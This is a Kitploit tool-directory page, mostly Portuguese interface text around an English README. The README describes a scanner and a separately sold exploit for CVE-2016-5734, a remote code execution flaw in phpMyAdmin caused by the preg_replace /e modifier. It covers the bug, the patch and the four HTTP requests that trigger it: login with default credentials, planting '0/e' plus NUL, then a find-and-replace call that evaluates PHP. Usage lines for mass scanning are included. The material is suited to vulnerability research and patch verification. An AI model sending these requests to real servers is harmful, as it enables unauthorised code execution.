Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2016-5734 — Scanner and exploit for CVE-2016-5734, an authenticated RCE in phpMyAdmin 4.0.x/4.4.x/4.6.x via the preg_replace /e modifier in table find-and-replace. | Kitploit
Ferramentas/GitHubGitHub/jonathan1010/cve-2016-5734
Vulnerability ScannersWeb Vulnerability ScannersExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubjonathan1010/cve-2016-5734

CVE-2016-5734

Scanner and exploit for CVE-2016-5734, an authenticated RCE in phpMyAdmin 4.0.x/4.4.x/4.6.x via the preg_replace /e modifier in table find-and-replace.

Ver Repositório
4 de dez. de 2026Ainda não revisado

Ferramentas relacionadas

  • nuclei

    Scanner de vulnerabilidades rápido baseado em YAML, com motor de detecção orientado por templates para testes de segurança automatizados em aplicações web, APIs, redes, DNS e infraestrutura em nuvem.

  • zaproxy

    Scanner de segurança de aplicações web de código aberto para detecção automatizada de vulnerabilidades, testes de penetração manuais e testes de segurança de API com um motor de intercepção baseado em proxy.

  • openvas-scanner

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

  • 1

    Callisto

    jetp1ane/callisto

    Ferramenta automatizada de análise de vulnerabilidades binárias que descompila executáveis via Ghidra, verifica código pseudo-C com Semgrep e valida descobertas usando GPT-3.5-Turbo para reduzir falsos positivos.

    796
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicativo de Execução em Um Toque GhostLock (CVE-2026-43499)

    735
  • 3

    IMSIcatcher

    28zaaky/imsicatcher

    Plataforma IMSI Catcher que implanta uma célula GSM falsa para intercetar SMS, injetar mensagens e rastrear dispositivos móveis

    721
  • 4

    opencti

    opencti-platform/opencti

    Plataforma Aberta de Inteligência de Ameaças Cibernéticas

    535
  • 5

    ARTEX

    baarai/artex

    Plataforma autônoma de testes de penetração multiagente com LLM, com agentes planejador/executor, grafos de ativos e de exploração, registro de tráfego MITM e reteste de vulnerabilidades.

    424
  • 6

    DFRoot

    a2333c/dfroot

    Ferramenta de root para Android para Samsung Galaxy S25 Ultra (SM-S938B) que encadeia DirtyFrag CVE-2026-43284 e CVE-2026-43499 para obter root automaticamente no boot via KernelSU.

    419

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Conteúdo não disponível no idioma solicitado. Mostrando versão em inglês.

CVE-2016-5734

phpMyAdmin 4.0.x/4.4.x/4.6.x - Authenticated Remote Code Execution

Metadata

fieldvalue
CVECVE-2016-5734
severitycritical
CVSS8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H; template EPSS 0.91745, percentile 0.99814)
fixed inphpMyAdmin 4.0.10.16, 4.4.15.7, 4.6.3 (and PHP 7.0+ where /e is gone)
classpreg_replace /e (eval) modifier reachable through the table find-and-replace feature (CWE-95)
scanner version1.0.0
python3.8+ stdlib only, no third-party deps

Exploit

If you want the exploit, find it here: https://satoshidisk.com/pay/CT5RYa

Summary

The regex branch of the table search-and-replace feature builds its PCRE pattern by plain concatenation "/" . $find . "/". A cell that stores 0/e followed by a NUL byte makes the pattern terminate at the NUL, so preg_replace() sees /0/e: the stray e lands after the closing delimiter and becomes the eval modifier, which evaluates the replaceWith string as PHP code. An authenticated user (root/root is often enough) therefore runs arbitrary PHP. The template confirms execution by having the replacement print the md5 of a random nonce.

Full description

tbl_find_replace.php dispatches searchType=replace to the table search controller. In 4.6.2 the regex path is:

$result[$index][1] = preg_replace(
    "/" . $find . "/",
    $replaceWith,
    $row[0]
);

With find = 0/e plus a NUL byte, the NUL truncates the pattern string inside PCRE, the pattern collapses to /0/e, and the e modifier makes preg_replace() eval the replacement string, e.g. print(md5(<nonce>));. The digest then appears in the AJAX JSON body. On PHP 7.0+ the /e modifier no longer exists (deprecated since 5.5, removed in 7.0), so the same requests produce no digest and the host shows as not-vuln.

The 4.6.3 patch (libraries/controllers/table/TableSearchController.php) picks a delimiter that does not occur inside the find string, so no modifier character can leak past the closing delimiter:

$delimiters = array('/', '@', '#', '~', '!', '$', '%', '^', '&', '_');
... first delimiter absent from $find ...
if (!$found) { return false; }
$find = $delimiters[$i] . $find . $delimiters[$i];
preg_replace($find, $replaceWith, $row[0]);

The same fix landed in the 4.0.10.16 and 4.4.15.7 maintenance lines.

Detection model

  • Four requests per target (max-request: 4), mirroring the nuclei template flow http(1) && http(2) && http(3) && http(4).
  • Step 1: GET /index.php?lang=en; extract the session token with the template regex name="token" value="([a-f0-9]{16,})".
  • Step 2: POST /index.php?lang=en with pma_username=root&pma_password=root&server=1&target=index.php&token=<t> (accept 200 or 302, as the template does).
  • Step 3: POST /import.php with db=test&ajax_request=true&sql_query=CREATE DATABASE IF NOT EXISTS test; DROP TABLE IF EXISTS test.prgpwn; CREATE TABLE test.prgpwn (c varchar(10)); INSERT INTO test.prgpwn VALUES (UNHEX('302F6500')); where 302F6500 is 0/e plus NUL.
  • Step 4: POST /tbl_find_replace.php with db=test&table=prgpwn&goto=sql.php&columnIndex=0&useRegex=on&replace=true &submit=Go&ajax_request=true&find=0%2Fe%00&replaceWith=print(md5(<num>))%3B.
  • Matcher (verbatim from the template): the step-4 body contains the md5 of the numeric nonce num (rand_int 10000000..99999999).
  • check(url) returns (True, details) only when step 4 answers 200 and the digest substring is present; details keeps per-step status, the expected digest and a 200-char snippet.
  • A 12-char md5 token is computed over the JSON result so a merely reflected page is distinguishable from a real /e evaluation.
  • Every request retries (2 attempts, linear backoff); scheme-less hosts in urls.txt are auto-prefixed with http://.

Usage

# scanner (GitHub side): streamed CSV + optional JSON sidecar
python scanner/CVE-2016-5734/scanner.py urls.txt 8 CVE-2016-5734.csv --json CVE-2016-5734.json

# exploit (satoshidisk side): result dict + optional CSV/JSON dumps
python exploit/CVE-2016-5734/exploit.py http://target/ --csv CVE-2016-5734.csv --json CVE-2016-5734.json --verbose

urls.txt is a plain file, one target per line, # for comments.

Example scanner output

RCE POC SUITE
 scanner : CVE-2016-5734 v1.0.0
 threads : 4 | csv: CVE-2016-5734.csv | json: CVE-2016-5734.json
RCE POC SUITE
[..] loaded 1 target(s) from urls.txt
[..] [1/1] https://demo.phpmyadmin.net/QA_4_6 -> not-vuln
[..] json sidecar saved: CVE-2016-5734.json
[..] summary: total=1 vulnerable=0 not-vuln=1 errors=0
[..] timing : avg=31957ms max=31957ms wall=31.96s
[..] report saved: CVE-2016-5734.csv

Scanner report columns

columnmeaning
n1-based row number
urltarget as provided
statusok / error
vulnerableverdict
elapsed_msper-target timing
tokenmd5 proof-of-match (12 chars)
result_b64base64(JSON) full details

Files

  • scanner.py - detection only, stdlib, streamed CSV + JSON sidecar.
  • README.md - this file.
  • DESCRIPTION.md - deeper technical notes.
  • ../../exploit/CVE-2016-5734/exploit.py - four-stage POC.

Exit codes

codemeaning
0at least one target answered
2every target errored (or no targets loaded)

The POC returns 0 when its token verification passes and 2 on verification failed.

References

  • Nuclei template: http/cves/2016/CVE-2016-5734.yaml
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2016-5734
  • GHSA: https://github.com/advisories/GHSA-rv57-479x-x4qv
  • Packetstorm/exploit-db: https://www.exploit-db.com/exploits/40185
Baixar ferramenta

Este repositório contém o componente scanner da Greenbone Community Edition.